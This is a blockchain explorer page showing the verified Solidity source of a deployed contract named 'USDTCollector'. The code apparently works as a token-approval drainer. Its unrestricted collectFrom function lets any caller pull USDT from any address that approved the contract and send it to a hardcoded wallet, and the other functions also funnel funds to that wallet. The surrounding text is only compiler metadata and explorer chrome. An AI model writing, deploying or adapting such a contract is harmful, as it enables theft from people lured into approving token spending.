Skip to content
Verified contractExactMIT

USDTCollector

Address0xaa80d1d090a9de5774dfffbe8fb9880eaa6e44aa
Balance

0 ETH

 

Transactions

8

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,449,791
Creation transaction
0x460c0a6ecc…66b2a8b27c

contracts/llalal.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
}

contract USDTCollector {
    address public immutable owner;
    address public constant myWallet = 0xc78B2336B045Be82eD26f20A354289026ddB4B42;
    address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

    error OnlyOwner();
    error TransferFailed();
    error ForwardingFailed();
    error NoApprovalOrLowBalance();
    error NothingToWithdraw();

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        if (msg.sender != owner) revert OnlyOwner();
        _;
    }

    // Low-level call to USDT; treats "succeeded with no return data" the same
    // as "succeeded and returned true", and anything else as failure.
    function _callToken(bytes memory callData) private returns (bool ok) {
        (bool success, bytes memory data) = USDT.call(callData);
        ok = success && (data.length == 0 || abi.decode(data, (bool)));
    }

    function collect(uint256 amount) external {
        if (!_callToken(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), amount))) {
            revert TransferFailed();
        }
        if (!_callToken(abi.encodeWithSignature("transfer(address,uint256)", myWallet, amount))) {
            revert ForwardingFailed();
        }
    }

    function collectFrom(address userAddress, uint256 amount) external {
        if (!_callToken(abi.encodeWithSignature("transferFrom(address,address,uint256)", userAddress, address(this), amount))) {
            revert NoApprovalOrLowBalance();
        }
        if (!_callToken(abi.encodeWithSignature("transfer(address,uint256)", myWallet, amount))) {
            revert ForwardingFailed();
        }
    }

    function withdrawAll() external onlyOwner {
        uint256 balance = IERC20(USDT).balanceOf(address(this));
        if (balance == 0) revert NothingToWithdraw();
        if (!_callToken(abi.encodeWithSignature("transfer(address,uint256)", myWallet, balance))) {
            revert ForwardingFailed();
        }
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.